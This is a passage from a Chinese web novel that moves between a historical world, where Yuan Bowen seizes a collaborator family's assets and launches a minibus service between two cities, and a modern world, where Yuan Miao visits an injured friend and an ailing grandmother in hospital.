袁淼越听越心动。这简直就是瞌睡虫遇到枕头。她也立刻明白了,叶家振的建议其实就是为她量身定做的帮助。 “谢谢叶部长,我能问问我爸妈意见之后,再给你们回复吗?” “当然可以!不急,你们慢慢考虑!” 袁淼的回复在意料之中。 叶家振笑眯眯拿出一叠资料:“这是我们根据刚才的协商,初步拟订的合同,小袁,你跟你爸妈一起看看。” 袁淼粗略看了一遍后,就把合同传给父母。 袁博文和谢云溪看得很仔细,合同的内容跟商定的一样。袁博文看完后点了点头。 袁淼看到了父母的反应,并没有马上告诉陈博川和叶家振。因为正式合同的签订,就意味着两个世界的第一次合作开始。 “如果你们没有意见,明天我们就把正式合同带过来!” 袁淼点头说好,送走了陈博川和叶家振,她又把刚才叶家振的提议告诉了父母。 谢云溪听完后眼睛就亮了:“可以啊!如果能直接收购一家矿业公司,这比从头开始容易多了!” 袁博文也点了点头:“陈秘书长他们考虑得很周全!” 袁淼的感触更深,她觉得自己像是在被追着喂食。 “他们担心我做不好!把这几家矿业公司的资料都带过来了!” 袁淼说着,举起了手中的资料。 “你们看看,哪一家公司合适?” 她把手中的资料传给了父母。 袁博文和谢云溪看过后,一时间难以抉择,他们对这些的了解也不多。 收购一家公司可不是一件简单的事情。叶家振带过来的资料共有三家,上面写明这些公司估价。最低的也上了十亿。 “你要不先了解了解这几家的具体情况?或者找人问问?” 袁淼想到了宋颜,点了点头。 第108章 第108章 旧例 签订了合同的第二天, 袁博文就去找张时文了。 “袁大人!我正要找您!这是府衙调查何有为的卷宗,您看看!” 袁博文接过张时文手中的卷宗,翻了翻。 张时文脸色阴沉:“据我们查证, 何有为不仅参与了军/需粮草倒卖, 还勾结北凉, 陷害他人, 罪恶累累,实在罄竹难书!” 袁博文看着手中的卷宗。跟他预料的差不多。 何家祖上靠赌石发家, 而后就开始涉足翡翠玉石等买卖,到了何有为这一辈时,何家已经是北地有名的大富商了。家里光是矿山就有好几座,除了金矿, 还有玉矿等,土地百余倾, 庄子十几座,铺子遍布北地,除了粮行,还有布庄和酒楼等。 光郴州这里, 他家的铺子就有两家粮行,一家布庄,一家酒楼和一家银楼。 不过,在北凉人进城之前,何家在郴州只有粮行和布庄。酒楼和银楼都是北凉进城之后开起来的。 那银楼的原址是郴州富商沈灏霆的金镶玉银楼, 是郴州城内仅次祥和银楼的所在。北凉人进城之后, 沈灏霆被杀,儿女躲了起来,结果何家告密, 沈灏霆的儿子被杀,女儿和儿媳都被带走,至今下落不明。 这件事情过去没多久,沈家金镶玉银楼就变成了何家的宝庆银楼。 除了城里的铺子,何家在郴州城外还有几十倾地,三个庄子。其中一个庄子也是何家伙同北凉人,将原庄子上的人杀光了之后抢夺过来的。 北凉人在郴州驻守期间,几位高官都是何家的座上宾,何家不仅将他们在郴州城外的一座富矿送给了北凉人,还将养女送给时任郴州总兵的哈勒野。 袁博文看到卷宗里面提到了何家矿山,不由得轻咳了一声。 府衙的办事效果确实高。人不多,张时文从晋州过来时,只带了五六个人,到了郴州之后,他又找了些人手。 就这样的草台班子,不仅很快完成了郴州城墙修复事宜,还把郴州的事务料理的井井有条。 现在,只几天就何家的底查得差不多了。那自己昧下何家矿山的事情不用说,府衙的人肯定知道了。 看完了卷宗,袁博文说:“既然查清楚了,该杀的杀,该抓的抓!眼下形势,因陋就简。” 张时文应下了。 袁博文看了他一眼,突然想到自己接手晋州事务后还没给手下的人发过工资。 他知道以前各州府官员的薪资是由大顺国库发放。 战打起来后,晋州成了孤城,关正连他的米粮钱都给不起了,还是后来抄了不少逃逸官员的家底,这才一下子宽裕了起来。 关正现在人没了,留给自己的家底也没多少了。 郴州可比晋州大多了,现在府衙的人是不多,除了张时文从晋州带过来的几个人外,剩下的也不知道张时文从哪儿忽悠的,看起来办事的能力还行。郴州府衙想要运转良好,这些人完全可以挑几个加入到府衙里来。 编不编制,他整不了,但是发点钱,还是有必要的。 钱能从哪儿来?只能是跟着关正学了。 “何家在郴州的家产全部没收!” 张时文也应下了。 袁博文又想到谷雨查到的消息。 那天晚上闯入他营帐中的女子就是何家养在后院的一个舞女。 不仅如此,何有为的儿子还买通了一位参与巡逻的新兵,给那名女子制造了闯入营地的机会。 郴州商会犒劳军中将士的事情,何家也深度参与了。 至于他们有没有授意那些献舞的女子魅惑军中将士,这个目前并没有查到。但是郴州商会的这些人还是要敲打敲打。 “为以儆效尤,拿下何有为等人后,游街示众!” 袁博文顿了顿又说:“至于何家送给北凉人在城外的矿山,军中已经接管,你们就不用管了。” 张时文也应下了。 袁博文满意了。 “班车的事情,我已经安排好了,会调三辆车给你们,另外为了保障路途平安顺利,我再给你们调一队护卫,具体人员怎么安排,你们自己定!但这些人属于军/部,只是暂时借调!你们不能挪做它用!” 张时文听到班车,眼睛就发亮了,听完后连连点头说是。 袁博文又问:“阵亡将士的抚恤已经下发了吗?” 战损数据统计出来之后,袁博文就把阵亡士兵的名单给了张时文。 “已经如数发放!” “他们的家庭情况,都摸查了吗?” “正在进行中,月底应该就能全部完成了。” 袁博文点了点头:“这些人都是家里的顶梁柱,他们出了事,有些家里只怕是要揭不开锅了。我预备招些人手做工,你们摸查清楚后,问问那些困难的,家里人愿不愿意过来做事?” 张时文愣了片刻,眼圈一下子有些湿了,拱手应下后,又深鞠了一躬:“我替这些人谢过大人了。” 袁博文笑了:“你看情况,是我夫人预备在郴州这边开粮行和布庄,需要一些人手。另外,军中有些工程要做,这是体力活,年老体弱的怕是做不来。不过,若是识字,条件可以放宽!” 到矿区干活,身体不好自然不行。 昨天签订了合同后,叶家振就传了些资料给他,将现代采矿的各种方式方法都做了介绍说明。 文字搭配视频,他看了大半夜,心里有数了。 何家那座金矿的储量虽然惊人,开采好几年都没有问题。但是他没有那么多时间。萧南召的大部队一个回马枪,他就得撤。 即便是霍云泽的人马取胜,萧南召铩羽而归,那金矿也多半也跟他没关系了。 他能做主的只有眼下。 快挖快干,将挖出去的东西赶紧给女儿传过去。速战速决,大型工程肯定搞不了,一切必须是快准精,配合这个策略做一些小工程,再结合人工,争取在麻烦上门之前多捞一点。 大型工程不做,那人手方面就不能少了。 工人招到后的第一步就是培训,识字的自然比不识字接收要快。 “大人放心,我必把这件事情做好!” 袁博文拍了拍张时文的肩膀:“张大人辛苦!” 勉励了张时文几句后,袁博文就去到了军中,将开车技术最好的游八斤等人叫了过来,让他们从明天开始到府衙听差,负责晋州和郴州之间的班车运营。 至于车辆,他已经准备好了,让女儿袁淼传过来的是20座的中巴车。 他想过了,晋州来往郴州的官道并不宽阔,虽然能跑车,但大型车辆还是不行,对路基的损害很大。 他目前并没有修路的打算,只想先把眼前的事情做好。 小型车辆搭乘的人不多,一个司机即便是只搭配一名护卫,剩下的位置也不多了。 20来座的中巴车就比较合适,除了司机和随车护卫,至少还有十几个座位。 第二天,郴州城门口就贴出班车即将运营的告示。 这阵风已经吹了一段时间了。郴州的民众虽然绝大多数人已经见过车了,但他们对来自现代的车依旧好奇。往往出现一辆车就会被围观。 这些车都军中,袁博文管束的非常严格,一般人根本接触不到,更别说乘坐了。所以班车的风开始吹的时候,就在郴州掀起不小的风波。 如今真的要开始运营了,城门口告示那里被挤得水泄不通。 从海边游轮上回到府衙的谢云溪才坐下来,关景钰等人就找了过来。 谢云溪看了看她们,笑着说:“你们是不是想问班车的事情?” 关景钰连忙点头,过来挽上谢云溪的胳膊:“谢姨,我离开晋州已经有半个多月了,听说外祖母前些时候病了一场,我很担心她,想回去看看。” 谢云溪点了点头:“庄老夫人已经大好了。你们想回晋州,我当然不会阻拦。不过,明天恐怕不行。据我所知,明天府衙的几位大人要回晋州办事,应该是没位置了。” “我爹也要回去吗?”张二小姐连忙问。 她虽然被谢云溪带到了郴州来,但是见到张时文的次数寥寥无几。府衙太忙了,张时文无暇顾及她。依旧将人托付给了谢云溪。 谢云溪摇头:“张大人……好像不回去!” 这次府衙的大人们回晋州,一是为了宣传班车,二是他们接了任务,要尽快摸清楚上次阵亡将士的情况,并且招些人手过来。 张二小姐的脸色也黯淡了下来。 谢云溪笑着说:“你们放心,班车并不是只运营一两天就没有了,会有机会让你们回去的。” 关景钰虽然想询问后天大后天等的情况,但话到嘴边又咽了下去。 她们想回去,并不是要紧事情,远远比不上府衙和军中的事情重要。 孙舒兰也想知道明后天有没有位置,她想家了。不过,关景钰和张二小姐都没有开口,她不想出头,悄悄捅了捅旁边的许小姐。 许娴雅心里有些气恼,悄悄捅了回去。 谢云溪将女孩们的小动作看在眼里,笑着问:“你们今天在枫叶巷练习的怎么样?” 自打接收到游轮后,谢云溪就把重心放到了船上,去枫叶巷的次数少多了。这天让念荟去了那边教导女孩们练习一些常见的外伤紧急处理。 “我练了包扎止血!下次见到受伤出血的情况,一定不会手忙脚乱了!”关景钰说。 “是吗?怎么练习的?说来我听听!” 关景钰连比带划说了起来,很快就忘记了不能回去的难过。 袁博文回来后,谢云溪就把关景钰等人想回家的事情告诉了他:“明后两天,班车有空位置吗?” 袁博文笑着说:“庄静明天就要过来了,她们回去干什么?” 谢云溪吃了一惊:“是吗?庄静要过来?除了她,还有谁要过来?” “张夫人和府衙的孙夫人也要过来。” 谢云溪笑了:“那敢情好,都不用回去了。” “我今天去找张时文,张时文把何有为的卷宗给我看了。” “你猜何家有多少家底?” 谢云溪笑着说:“这我猜不到。” 袁博文感慨一声:“真有钱!家财万贯,都不足以形容!” 他把何家的家底以及来历报给了谢云溪听。 谢云溪想了想说:“金镶玉银楼沈家,并没有全家死绝!沈灏霆的小女儿沈悦兰现在在枫叶巷。” 袁博文吃了一惊。 “我上次不是跟你说过,有个女孩伤得很重,有可能过不来吗?她就是沈悦兰。” 袁博文一时说不出话来。他记得谢云溪说过,枫叶巷病情最重的这个女孩只有十四岁,还没成年。 富贵荣华转眼成空,郴州金镶玉银楼的富丽堂皇他也曾经见识过。没有实力,别说万贯家财了,连妻儿都庇护不了。 “何家的这些人真该死!”谢云溪愤愤说。 袁博文轻轻拍了拍谢云溪:“放心!何家的人,但凡做过恶,一个都逃不掉!” 他把府衙已经围住何家,准备没收家产的事情告诉了谢云溪。 谢云溪轻叹了口气。 即便是严惩了何家,许多人的日子也回不去了。 第二天天刚亮,郴州的城门口就开来了一辆中巴车。郴州的民众还是第一次见到这样车型,很快,周围就围了一圈人。 车上有司机,还坐了一名全副武装的士兵,光架势就让人惊奇。 “那位军爷身上挂着就是枪吧?” “你没见过枪吗?大惊小怪!” “这车真的比马车更舒适吗?里面那些是什么?” “那些是座位!” “这么多座位吗?那一趟能坐多少人?” 有人数清了座位,回答了问题。 “竟然还能乘坐十几个人?你没有数错吧?” “我也数过了,确实还能乘坐十八人!” “一个人就要二十五文的车费,若是座位坐满,岂不是光这一趟车,就赚到好几百多文钱!” “二十五文钱的车票都嫌贵!你忘了从郴州到晋州有多远吗?往日即便是骑马,也得两三天呢!” “就是!租一辆马车从郴州到晋州都得好十几两银子呢!二十五文钱算什么?嫌贵别搭乘就是了!” 议论声一波未平,一波又起。围观的人也越来越多了。 卯时刚过,府衙的钱大人和刘大人等人就出现了,他们都带了亲随,在一众人的围观中上了车。 没多会,又来了几名士兵。车很快就坐满了,开出城后,许久了,围观的人群才渐渐散去。 城门口裱装了班车运营细则,除了对乘坐人员有要求以外,还写明了出发和到达的时间。 申时刚到,就有人在城门口守着了,天将黑下时,城墙上的灯刚亮起,就有人看到早上开出去的班车回来了。 有人叫了起来。 “回来了!班车回来了!” 聚在城门口的人都伸长了脖子。张时文也在人群之中,班车第一次运营,他也很担心。 如今的郴州城外可不是什么太平地儿,沿途打劫的事儿频频发生。 虽然班车配备了护卫,但今天只有一个人,加上司机也才两个,若是遇到大批匪患,那就麻烦了。 “张大人!” 正忐忑着,张时文听到了有人招呼。他转过头,看见一辆马车过来,马车旁边的护卫正是袁博文身边的亲卫连虎。 “连护卫?你……这是要出城吗?”张时文有点吃惊。 第109章 第109章 被打 “不是, 我等是来接人!” 连虎笑着请张时文看后面的马车。念荟正从车里下来,看到张时文,微微屈身行礼。 “关夫人今天搭乘班车来郴州, 我等奉命来接。张大人也是来接张夫人的吗?” 张时文这才记起自己的夫人也是搭乘首趟班车来郴州的人员之一。 他笑了, 点头说是。 两人说话的这会功夫, 车到了城门口, 巡防营的人连忙让围观的人群让出道来。 车进了城后,车门打开, 先下来的是关景和。一落地他就东张西望,丝毫不见长途跋涉的疲倦。 “大少爷!”连虎连忙过去招呼。 庄静也下了车,感觉腿脚有些疲软,抬眼看到郴州厚重城门以及特有景观, 一时间仍不敢相信,自己居然真的到了郴州。 “关夫人!张夫人!孙夫人!”念荟看到下车的人, 连忙过来行礼,“我家夫人知道几位要来郴州,特让我等来接!” 庄静知道念荟是谢云溪身边最得意的人,笑着说:“念荟姑娘快别客气, 袁夫人近来可好?” “一切都好!”念荟说完,看了看后面的人,见孙夫人脚步虚浮,脸色苍白,知道她大约是晕车, 好在马车里面备有蜜饯。便一边说话, 一边引着人往马车上去。 “我就不跟你们去了!你们见到了袁夫人,替我向她问声好!”张夫人笑吟吟说。 庄静等人也看到了张时文,见他正跟司机说话, 便打消过去见礼的念头,跟张夫人告别后,她们上了马车。 “怎么样?还难受吗?”庄静问孙夫人。 孙夫人抚了抚胸口:“好多了!” 庄静看到旁边的匣子,连忙拿过来:“方才念荟姑娘说,这里面是蜜饯,可以缓解晕车,你吃一颗吧!” 孙夫人点头。放了一颗蜜饯到嘴里。也不知道是这蜜饯着实神奇,还是其他。她很快就觉得好多了。 “这班车虽快,但一直闷在里面,感觉也不好受!” 庄静忍俊不禁,这一路上过来,她并无不适,除了下车时,腿脚有些发软以外。显然,孙夫人跟她不一样。 “也不知道兰儿她们怎么样?” 听孙夫人念叨起女儿,庄静也忍不住想起了女儿关景钰。 关景钰离开的这些天,她没有一天不挂念。 形势不好的那几天,她忍不住怀疑,自己把女儿送到郴州,到底对不对? 若是不送走,不管形势怎样,到底在一起。 不过,过来的路上,她已经没有这些想法了。 原来从晋州到郴州,还可以这么快! 区区一个多时辰,以后只要是想了,过来便是。 这班车属实太好! 马车到了府衙,早已在门口等候的关景钰等人迫不及待过来了,见到了各自的母亲,她们的眼圈都有些红了。 谢云溪笑吟吟看着,心里却已经千疮百孔,她也想女儿,可惜回不去了,只能隔着无尽时空,在镜子里相见。 接风洗尘后,关景钰就挽着庄静来到了谢云溪为他们准备好的院子里。 “娘,听说外祖母前些时候病了一次,到底什么病?要不要紧?” “是感染了风寒,许是年纪大了,来势有些凶,不过,已经没事了!” 关景钰松了一口气,“那就好!”说完,又歪在庄静怀里撒娇:“娘,你不知道我有多想你们!” 庄静轻轻抚了抚女儿的秀发,笑着说:“多大的人了,还没个正形!你这话要叫外面的人听到,还以为袁夫人苛待了你呢!” 关景钰连忙坐正:“谢姨才好呢!谁要是嚼舌根,我定不会轻饶了他!” 庄静笑了。这一路上过来,她也感觉到了,袁博文夫妇对这几个在身边的丫头属实上心。 “我听说前些天打起来时,你们都去医棚帮忙了,怎么样?学到了东西吗?” 关景钰点头,把在医棚帮忙时的见闻讲给庄静听。 庄静听完,心里百感交集。自己的这个女儿自打出生,就没吃过苦。平日里识字读书还算凑合,但穿针引线不行。没想到到了这里,居然敢用针线去缝人肉了,虽然只是手忙脚乱时帮了一会儿忙,但是也已经足够骇人了。 “这名伤兵你们后来又见过吗?他的伤恢复的怎么样?” 关景钰点头:“挺好的!谢姨说,她用的线是人可以吸收的。我们过了几天去看,那伤兵的伤口已经在长了!” 庄静看着女儿,又问:“做这些的时候,你不怕吗?” 关景钰想了想:“当时不怕的,念荟姐姐让我接手,我便上了,但事后我再回想,就有些怕了。” “娘,你说这是怎么回事?” 庄静摸了摸女儿的脸:“当时不怕,是因为情况紧急,来不及害怕。后来害怕,是因为你在担心,自己做的不好。那伤兵是不是伤得很重?” 关景钰点头,笑颜开了,“原来是这样!我明白了!以后,我一定好好学习!这样,哪怕事后了,也不会再怕!” 庄静也笑了。关景钰又说:“娘,你知道我来郴州之后,遇到了谁吗?” 庄静愣了愣。关景钰又说:“是婉姐姐!” 她把遇到叶淑婉的经历告诉了庄静。庄静好一会儿才回过神来,心里如乱麻一样,什么感受都有。 郴州同知大人家的千金小姐竟然沦落成北凉人营地的一名娼/妓! 那可是与关正同级别的五品大员! 若是,晋州也沦陷了…… 她不敢想,光想就觉得自己要疯掉了。 “叶小姐现在还在枫叶巷吗?她家里还有谁在?” 关景钰摇头:“我问过谢姨了,她打听过,叶家除了婉姐姐,已经没有人了。我原本想让婉姐姐也住到府衙来,不过,谢姨说,婉姐姐住在枫叶巷更好。” 她把谢云溪讲的道理告诉了庄静。 “你谢姨说的很对。” 圈子已经不同。小姐们堆里的心思和伎俩从来都没有少过,贸然加进来一个不一样,一定会被区别对待。 “你想着对她好,但在这之前,你也要知道她是否需要这些。好不好的,是要看对方觉得。” 关景钰若有所思点头:“婉姐姐现在也在和我们一起学医,她很认真,学的也很好。上次在医棚帮忙,她就救了一位伤兵的性命,前几天那伤兵还特意寻过来道谢呢。” “那你要向她学习了!”庄静笑着说。 原本她把女儿跟着谢云溪学医这件事情只当成了两家更亲密来往的一个机会,现在,她不这么想了。 世道变化太快,昔日的五品同知府小姐都能沦落到泥里。她们又算什么?好好活下来才是正理,学的一身治病救人的本领,哪怕父母的荫泽没了,也能有所仰仗。 庄静和关景钰母女夜话的时候,袁博文和谢云溪也在说话。 “今天庄静和孙夫人都来了,张夫人被张大人在城门口接走了。” “吃饭的时候,我们说起了现在郴州的形势,庄静听说我们要搬到紫云巷去,她也心动了,也想在紫云巷买栋宅院呢。” 袁博文点了点头。 紫云巷是郴州有名的好地方,城里有钱有势的人家大多都住在那里。他们也在那里相中了一个院子,准备整理好后,就搬过去。 “她想要多大的宅院?” 谢云溪想到关府在晋州乌衣巷的宅院:“她家里的人不少,至少要三进的吧?” “好,我明天去看看。上次清点排查的时候,我让江虎把城内的空宅和无故被霸占的宅院都统计了下来,我记得紫云巷那边有好几座空宅。” 谢云溪有些好奇:“你统计这些,有什么用吗?” 袁博文笑了:“也没什么大用。我就想着那些宅子空着也是空着,主人家也不知道回不回来,城外的流民这么多,城里也不少,这些人总在大街上游荡不是个事,既然有空宅,收拾收拾就让他们去住,少少出点租金就可以了。” 谢云溪点头:“是可以这样安排,流民有了居所,也方便管理。但你想过主人家回来之后,怎么应对吗?” 袁博文没想那么远:“等他们回来之后再说。” 也许那时候自己都撤了。先把眼前顾好再说其他。 “不过,我后来让张时文统计了一下城内流民的情况,北凉人留下的房子已经够他们住了。不过,那些地方都比较好,我觉得流民们不一定出的起对等的租金。” 谢云溪笑着说:“那可不一定。流民群里并不是人人穷困潦倒,你忘记我们从沔州出来时的情景了吗?” 袁博文想起来了,笑着点了点头。 那时候的他们虽然是匆忙上路,为避免麻烦,跟路上的大家一样,衣着简陋。但其实身上还揣着一万多两银票和若干金子。 “我觉得你可以将那些北凉人住过的房宅推向市场,租和买都可以。你不是正愁没钱给底下的人发工资?这么一来,钱不就来了?” 袁博文眼睛一亮,也笑着点了点头。 他昨天就跟谢云溪念叨过缺钱这件事情。如今,他算是管着晋州和郴州两座城,想要管好,那就得让底下干活的人觉得有奔头。 前途之类的,他自己都没有,自然不能给人家,那能给就只有钱了。 可惜关正留给他的不多,应付军中的那些开支勉勉强强,府衙那边是真的拿不出来了。 后院的那些东西是他答应了要给女儿的。何家那边还在查抄中,什么时候查抄完,得看府衙的动作。 如果能把城中空宅推向市场,那无疑能多一笔收入。 等何家那边的事了后,原本属于何家的土地也可以推向市场。 还有前不久关起来许家和唐家,都是北凉的狗腿,在北凉人驻扎郴州期间,那日子可风光了,强占了不少土地。 这些人的土地和房宅,也可以推向市场。 他们的财路不正,他这样做也算是取之于民,用之于民。 次日,袁博文就去找江虎了,将上次清点排查时查出来的空宅和无故把霸占的房宅信息拿到了后,两人又一起来找张时文。 张时文看到郴州城内还有这么多空宅,吃惊不小。 “这些都是吗?” 江虎点头说:“巡防营每家都查证过了,这些确实无人居住。” 张时文默默看完,轻叹了口气。空出来的这些宅院,主人家多半凶多吉少了。 北地第一重城,不到半年时间,人几乎换一半。 “大人预备将这些房宅推向市场,那房价怎么定?” 袁博文回答:“郴州的人虽然换了不少,但城中应该还有老中人,具体怎么定?你们可以参考过去和现在的行情。” “不过,这几栋宅院先留下。庄夫人昨日说她想在郴州买房,这些宅院先让她看看。” 江虎听到这里,轻咳了一声,低声说:“大人,我也想在郴州置栋宅院,可不可以也看看?” 袁博文看了过来,江虎呵呵笑了两声。 机会难得,北地第一重城的房宅,他以前可不敢想。他知道袁博文准备搬到紫云巷后,就已经心动了。现在,关夫人也预备在紫云巷买宅院了。那他家必须要过来了,跟紧袁大人,以后才有好日子。 袁博文笑了:“行!” 张时文并没有多想,依旧专注在手中的房宅信息。 袁博文说:“今日钱大人和刘大人回了晋州,府衙事务忙得过来吗?” 张时文抬起头,想了想:“大人,郴州跟晋州不一样,事务繁多,我想招些人手帮忙。不知道行不行?” 袁博文点头:“张大人你看着办,府衙事务你比我熟,只要不是浪得虚名之辈,我这里都没问题。” 张时文笑了,拱手鞠了一躬:“大人放心,府衙不会有浪得虚名之辈。” 江虎在一边看着,心里啧啧感叹,要论会做人,还得是袁大人。如张大人这般的文人举子,被人这样信任,以后还不得肝脑涂地? 袁博文拍了拍张时文的肩膀:“张大人想好要进哪些人后,给我个名单。府衙这边的事务就辛苦张大人了。” 府衙果然要进人手!这挣钱的就不能停! * “周晟住院了?什么时候的事儿?”袁淼吃惊问。 “就在昨日晚上,听说是被人打了!” 袁淼更吃惊了:“被人打了?谁打的?知道原因吗?” 堂堂大福源的周少,出入身边都跟着人,怎么会被人打? 她印象中的周晟,可不像惹是生非的主。 沈若君摇头:“目前警方还在调查。” 袁淼缓了缓劲儿:“我得去看看,哪家医院?” “东华医院,外科大楼,vip病区。” 袁淼点了点头。这个医院她记得,正是半年前奶奶入住过的医院。 第110章 第110章 磕头 让沈若君买了簇花后, 袁淼带着它来到东华医院外科大楼顶楼病区,在护理站询问周晟的病房。 护理站的护士笑着说:“二病室,那边过去就能看到了。” 袁淼道了谢。走了几步, 就知道护士为什么这么说了。 安静的病区走廊里, 有间病房门口站着一位西装革履气势冷肃的男子, 他一见到有人过来, 目光审视且警惕。 袁淼猜测他应该是周家的保镖,大胆过去询问:“请问周晟是住这间病房吗?” 男子还没回答, 病房的门就开了,唐伟明出现在门口,一脸惊喜。 “袁小姐!您是来看望周少的吗?快请进!” 袁淼一进去就看到病床上的周晟,头上缠着绷带, 手上挂着吊瓶。人虽然是清醒的,但脸上的擦伤以及苍白的脸色都表明了他伤得不轻。 她心里一惊。 是豪门恩怨吗?还是其他?这下手的人够狠!周晟一张俊脸差点都要被毁容了! 周晟看到袁淼, 想要起身,但是只动了一下,他就轻呲了一声。 袁淼连忙说:“快别动!”她把花放到床头,仔细端详周晟, “怎么回事?怎么伤成了这样?” 自那天周群的寿宴后,周晟来找了她几次,她事情太多,一直在推,就前天有了空, 两人吃了顿晚餐。 唐伟明说:“遇到了几个不长眼的, 幸亏周少身手不错,一对三都能顶住,否则, 换了其他人……” 周晟轻咳了一声,唐伟明立刻不说了。周晟扯了个笑出来。 “警方还在调查,我没事,你别担心。” 袁淼打量着周晟:“你这样子可不像是没事!以后还是要小心!” 她没问周晟为什么被打,豪门恩怨不是她这样的人能知道的。 周晟笑着点头,眼睛看着袁淼,催促她坐。 那天寿宴后,很晚了,老爷子还特意把他叫过去,和他说袁淼的事情。老爷子认为能被矿业资源管理部的部长这样厚看,袁淼家里的情况绝对差不了。 不管是开矿的,还是珠宝行业世家,都值得他们好好结交。 他虽然答应下来,但心里却是苦的。他看得出来,袁淼待他,顶多就是朋友,而且还不是那种可以推心置腹的朋友。 所以,想要心愿得偿,任重道远。 袁淼坐下后,看了看吊瓶旁边的治疗单。买的药多了,许多药名她看一眼就知道是治什么的。 周晟输注的止血和抗生素等药物。 都用上了止血药,那就说明周晟的伤并不止表面上的这些。 不过,袁淼心里虽然好奇,但她并没有问。周晟看起来也是一副风轻云淡的样子。 “听说你昨天去阜县了,是旅游吗?好不好玩?” 袁淼笑着摇头,“不是旅游,我是去办事……不过,那里的风景不错。” 她到阜县,是因为叶家振给的资料中有家矿业公司就在那里,她是过去了解情况的。 这几天,她都在跑这件事情。合作开采金矿的合同已经签订了,父母那边已经在准备了,但她的选择题还没做出来。 虽然她这边负责的是后期矿石加工提炼等工艺,是有了矿石后才开始做的事情,但她仍然很焦虑。 从来没有做过的事情,即便是有人追着喂食,她也觉得压力不小。 两人说起阜县的风景,周晟也去过那里。护士进来了,更换了药瓶后,又查看了周晟的伤口。 袁淼这才知道,他的腹部也受了伤。虽然包扎严密,但位置是在下腹,离私/密部位很近。 非礼勿视。袁淼看了一眼,就赶紧避让开了。 护士了解清楚情况后离开了,唐伟明小心翼翼给周晟盖上被子。 周晟看了一眼快避到门口的袁淼,心里叹了口气。他辛苦练出来的八块腹肌,有人居然不屑一顾。 他这次算是不幸中的大幸,对方一行三人,显然是奔着废了他的目的而来,招招狠厉,好在他也是练过的,没让他们得逞,否则的话,以后找老婆都是个问题了。 又说了一会话后,袁淼要离开了。她叮嘱周晟:“好好休息!” 周晟点头,看到袁淼转身,实在忍不住了,自己加上了一句想听的话:“哎,过几天记得再来看我!” 他笑着说话,脸上的表情虽有些调侃,但眸子里却饱含期待。 袁淼嫣然一笑,点头说好,挥手再见。 从外科大楼出来,袁淼不由得看向不远处旁边的另一栋大楼,心里酸涩起来。 她的奶奶就是在那里离开的。 “淼淼?” 听到了招呼,袁淼回头,不由得愣了愣。 “宋颜?你怎么在这里?” 宋颜跟身边的助理说了句话后,大步过来了,抬了抬下巴。 “我奶奶在上面住院。” 袁淼吃了一惊。她很喜欢宋奶奶,她和自己的奶奶年纪差不多,也一样慈祥可亲。 “什么病?不要紧吧?在哪个科室?” “老毛病,阿尔茨海默症,在那边顶楼病区。” 宋颜看向的那栋大楼正是袁奶奶入住过的病区大楼。袁淼记得22楼以上都是vip病房,其中顶楼的规格最高。 “我能去看看吗?”袁淼问。 “当然……你怎么会来这里?” 袁淼跟在宋颜旁边,回头看了看后面的外科住院大楼:“我来看望一个朋友,他在那边住院。” “是……周晟吗?” 袁淼有点吃惊:“你怎么知道的?” 宋颜垂下眼,盖住了眸子里的情绪,“我听说他被人打了,就在对面住院,怎么样?伤得重吗?” “我觉得有点重,他伤到了头,腹部也受伤了……不知道是什么人干的?” 宋颜推了推眼镜,“对方三个人,明显是有备而来,应该是周晟得罪了什么人。” 袁淼诧异宋颜知道居然这么多:“难道不是豪门恩怨吗?”她有些揶揄问。 宋颜笑了:“周家的子弟虽然不少,平时也斗得厉害,但是,他们不会用这种手段。世家子弟,一般有自己的底线。” 袁淼闻言点头,悄悄看了宋颜一眼。 宋记的传承比大福源悠久多了,宋颜这一辈的兄弟也不少,他这番话,是有感而发吧? 世家子弟,有自己的底线,不会斗狠斗勇。那斗的肯定是另外的方面了。 宋颜是众所周知的宋记继承人,他是不是各种斗争中的脱颖而出者? 电梯来了,袁淼打住了胡思乱想,进了电梯。 逼仄的空间里面,宋颜站着袁淼后面。女孩的头发黑亮光泽,幽香阵阵袭来,他一阵口干舌燥,心跳也不由得加速了。 袁淼却在想要不要开口问矿业公司的事情,她这几天虽然跑了不少路,但仍然没有头绪。 不过,矿业公司和珠宝行业虽然有些关联,但毕竟是不同的行业。 宋颜,他会知道吗? 纠结到电梯门打开,袁淼也没有下定决心。 病房门打开后,袁淼就看到半卧在病床上的宋奶奶。她看起来精神不错,戴着眼镜,正在看书。 “宋奶奶,还记得我吗?” 宋奶奶盯着袁淼,想了一会,“你是……淼淼!” 袁淼笑了,夸赞了老人一句,老人笑逐颜开,冲袁淼招手:“淼淼快来!看看这个!” 袁淼过去,先看了看书的封面,是一本介绍国内外珠宝首饰的杂志,她以前看过,里面的图片很唯美。 宋奶奶指着书册上的图片说:“你看看这款项链,是不是很美?” 袁淼仔细看了看,拜近来恶补的珠宝见闻所致,她现在也勉强能看出好歹了。 袁淼点评了一番,宋奶奶连连点头:“你说的对,这一圈镶钻换成莫桑比克的钻石,会比现在的更漂亮。” 宋颜在旁边的沙发上坐下来,看着眼前的一老一少,素来清冷的嘴角不由自主微微翘了起来。 袁淼陪着宋奶奶说了一会话,见她似乎累了,便帮忙将床头摇了下去。宋颜也过来了。 宋奶奶很快就睡着了,发出了轻微鼾声。袁淼和宋颜从里间出来。 “宋奶奶的睡眠一直都是这样吗?” 宋颜顿了顿:“以前还好,是最近才这样……这次住院,医生查出……她有脑瘤。” 袁淼吃了一惊:“是……良性的吗?” 不过,即便是良性肿瘤,长在脑袋里也不好治。况且,宋奶奶的年纪这么大了。 袁淼心里一阵悲伤。 宋颜摇头。 袁淼更不知道说什么才好了,看着里面沉睡的老人,眼眶不由得湿润了。 宋颜先振作了起来:“最近怎么样?我看到博云珠宝前几天更新了网页,上了很多臻品,反响很好!” 袁淼被他这么一问,心里的感伤淡了一些。 “那些呀,其实只是讨论的人多,看起来人气旺,实际上出手的人并不多。” 最近这段时间,谢云溪陆续将后院的一些珍宝传给了袁淼。袁淼她苦于没有地方放,便在网上和店里挂了许多出来。没想到上架后,实体店里的动静不大,倒是网店先热闹了起来。 宋颜低头一笑,博云珠宝虽然开张的时间不长,但在圈内的名气直线上升,除了古风首饰,推出的几乎都是难得一见的精品。 这些精品,哪怕一年只出一两件,也足够普通家庭这辈子余下的日子衣食无忧。 而博云珠宝现在显示出来的销量,几乎是两三天就能卖出一件精品。这比许多老牌珠宝大店的情况都要惊人了。 袁淼看到宋颜居然露出了的笑脸,壮了壮胆:“宋颜,你对矿业公司了解吗?” 宋颜抬起头:“矿业公司?你想知道什么?” 袁淼立刻报出叶家振给的几家矿企名称:“这几家矿业公司的情况怎么样?” 